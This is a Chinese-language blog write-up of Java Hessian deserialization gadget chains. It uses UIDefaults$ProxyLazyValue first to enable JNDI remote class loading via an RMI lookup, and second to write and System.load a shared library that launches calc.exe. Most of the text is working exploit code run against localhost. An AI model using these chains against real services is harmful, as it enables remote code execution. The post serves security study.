前言

补全。


System.setProperty + InitialContext.doLookup

由于不是web环境也懒得搭建web环境,需要一次执行中完成三次函数调用,所以需要修改一下构造方式,首先创建RMI服务:

Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit", "http://127.0.0.1:8080/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.rebind("RMIServer", referenceWrapper);
System.out.println("Bind");
System.out.println("RMI Registry Start at port 1099");

然后开启Tomcat,并将调用Runtime.exec()的Exploit.class放到根目录下,最后构造一个HashMap触发三次反射调用:

Object proxyLazyValue1 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue1, "className", "java.lang.System");
Utils.setField(proxyLazyValue1, "methodName", "setProperty");
Utils.setField(proxyLazyValue1, "args", new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"});

Object proxyLazyValue2 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue2, "className", "java.lang.System");
Utils.setField(proxyLazyValue2, "methodName", "setProperty");
Utils.setField(proxyLazyValue2, "args", new Object[]{"com.sun.jndi.rmi.object.trustURLCodebase", "true"});

Object proxyLazyValue3 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue3, "className", "javax.naming.InitialContext");
Utils.setField(proxyLazyValue3, "methodName", "doLookup");
Utils.setField(proxyLazyValue3, "args", new Object[]{"rmi://127.0.0.1:1099/RMIServer"});

UIDefaults map1 = new UIDefaults();
map1.put(1, proxyLazyValue1);
UIDefaults map2 = new UIDefaults();
map2.put(1, proxyLazyValue1);
UIDefaults map3 = new UIDefaults();
map3.put(1, proxyLazyValue2);
UIDefaults map4 = new UIDefaults();
map4.put(1, proxyLazyValue2);
UIDefaults map5 = new UIDefaults();
map5.put(1, proxyLazyValue3);
UIDefaults map6 = new UIDefaults();
map6.put(1, proxyLazyValue3);
HashMap bigMap = new HashMap();
bigMap.put(1, 1);
bigMap.put(2, 2);
bigMap.put(3, 3);
bigMap.put(4, 4);
bigMap.put(5, 5);
bigMap.put(6, 6);
Object[] table = (Object[])Utils.getFieldValue(bigMap, "table");
Utils.setField(table[1], "key", map1);
Utils.setField(table[2], "key", map2);
Utils.setField(table[3], "key", map3);
Utils.setField(table[4], "key", map4);
Utils.setField(table[5], "key", map5);
Utils.setField(table[6], "key", map6);

unserialize(serialize(bigMap));

DumpBytecode.dumpBytecode + System.load

DumpBytecode.dumpBytecode可以写入一个文件:

if (env._dest_dir != null) {
    String fileName = className.replace('.', File.separatorChar) + ".class";
    int index = fileName.lastIndexOf(File.separatorChar);
    if (index != -1) {
        dir = new File(env._dest_dir, fileName.substring(0, index));
    } else {
        dir = new File(env._dest_dir);
    }

    if (!dir.exists() && !dir.mkdirs()) {
        throw new IOException(dir.toString());
    }

    File file = new File(env._dest_dir, fileName);
    FileOutputStream fos = new FileOutputStream(file);
    Throwable var46 = null;

    try {
        fos.write(bytecode);
    }
    ...
}
...

可以控制目录、文件名以及文件内容,虽然后缀不可控但是影响不大。

首先生成一个动态链接库:

#include <stdlib.h>
#include <stdio.h>

void __attribute__ ((__constructor__))  aasdnqwgasdela1 (){

    system("calc.exe");
}

编译:

gcc -c .\Exploit.cpp -o Exploit && gcc .\Exploit --share -o Exploit.so

最后触发两次反射:

Object scriptEnvironment = Utils.createWithoutConstructor("jdk.nashorn.internal.runtime.ScriptEnvironment");
Utils.setField(scriptEnvironment, "_dest_dir", "./");

Object logger = Utils.createWithoutConstructor("jdk.nashorn.internal.runtime.logging.DebugLogger");

Object proxyLazyValue1 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue1, "className", "jdk.nashorn.internal.codegen.DumpBytecode");
Utils.setField(proxyLazyValue1, "methodName", "dumpBytecode");
Utils.setField(proxyLazyValue1, "args", new Object[]{
    scriptEnvironment, logger, Files.readAllBytes(Paths.get("Exploit.so")), "Twings"
});

Object proxyLazyValue2 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue2, "className", "java.lang.System");
Utils.setField(proxyLazyValue2, "methodName", "load");
Utils.setField(proxyLazyValue2, "args", new Object[]{"D:/Java1.8/hessianjdk/Twings.class"});

UIDefaults map1 = new UIDefaults();
map1.put(1, proxyLazyValue1);
UIDefaults map2 = new UIDefaults();
map2.put(1, proxyLazyValue1);
UIDefaults map3 = new UIDefaults();
map3.put(1, proxyLazyValue2);
UIDefaults map4 = new UIDefaults();
map4.put(1, proxyLazyValue2);
HashMap bigMap = new HashMap();
bigMap.put(1, 1);
bigMap.put(2, 2);
bigMap.put(3, 3);
bigMap.put(4, 4);

Object[] table = (Object[])Utils.getFieldValue(bigMap, "table");
Utils.setField(table[1], "key", map1);
Utils.setField(table[2], "key", map2);
Utils.setField(table[3], "key", map3);
Utils.setField(table[4], "key", map4);

unserialize(serialize(bigMap));

System.load需要绝对路径,不然会报错:

if (!(new File(filename).isAbsolute())) {
    throw new UnsatisfiedLinkError(
        "Expecting an absolute path of the library: " + filename);
}

参考


Web Java 反序列化

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Mybatis学习
Hessian JDK反序列化漏洞2